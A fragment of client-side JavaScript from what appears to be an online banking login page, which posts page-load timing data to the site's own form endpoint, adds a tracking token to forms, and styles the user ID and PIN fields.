			document.getElementById("connectEnd").value = performance.timing.connectEnd;
			document.getElementById("secureConnectionStart").value = performance.timing.secureConnectionStart;
			document.getElementById("requestStart").value = performance.timing.requestStart;
			document.getElementById("responseStart").value = performance.timing.responseStart;
			document.getElementById("responseEnd").value = performance.timing.responseEnd;
			document.getElementById("domLoading").value = performance.timing.domLoading;
			document.getElementById("domInteractive").value = performance.timing.domInteractive;
			document.getElementById("domContentLoadedEventStart").value = performance.timing.domContentLoadedEventStart;
			document.getElementById("domContentLoadedEventEnd").value = performance.timing.domContentLoadedEventEnd;
			document.getElementById("domComplete").value = performance.timing.domComplete;
			document.getElementById("loadEventStart").value = performance.timing.loadEventStart;
			document.getElementById("loadEventEnd").value = performance.timing.loadEventEnd;
		}
		
		try{
			setAwsPostData();
		}catch(Error){

		}

		// async ajax call to submit form
		$.ajax({
		   type: 'POST',   
		   url: $('#awspost').attr("action"),   
		   data: $('#awspost').serialize(),
	 	   headers: {"Content-Type": "application/x-www-form-urlencoded"}
		}); 


		  var jbtrackToken1="161453779693758BBF3FC8D7C85A1";
		 
		    $(document).ready(function() {
		    var findForm = $(document).find('form');
		      for(var i=0; i<=findForm.length; i++){
		    	  var hasHidden = $(findForm[i]).find('input[type="hidden"]').length;
			         var hiddenFieldName = $(findForm[i]).find('input[type="hidden"]').attr('name');
			         if((!hasHidden) || (hiddenFieldName != "TRACK_TOKEN")){
		       $('<input>').attr({
		              type: 'hidden',
		              id: 'TRACK_TOKEN',
		              name: 'TRACK_TOKEN',
		              value : jbtrackToken1
		        }).appendTo(findForm[i]);
		      }
		      }
		    });</script><script language=javascript>$('form').find("input[type=text], input[type=password], textarea").each(function (ev) {
            
            //$(this).addClass("inputEmpty");
            
            $('#UID').blur(function()
                {
                    if( !$(this).val() ) {
                          $(this).removeClass("notEmpty");
                    }else {
                          $(this).addClass("notEmpty");
                          $(this).removeClass("red");
                    }
                });
            $('#PIN').blur(function()
                {
                    if( !$(this).val() ) {
                          $(this).removeClass("notEmpty");
                    }else {
                          $(this).addClass("notEmpty");
                          $(this).removeClass("red");
                    }
                });
            
        });
        
        
        var route_name = 'IBROUTEID';
        document.cookie = route_name+"="+"; path=/IB";</script><meta content=NO-CACHE http-equiv=PRAGMA>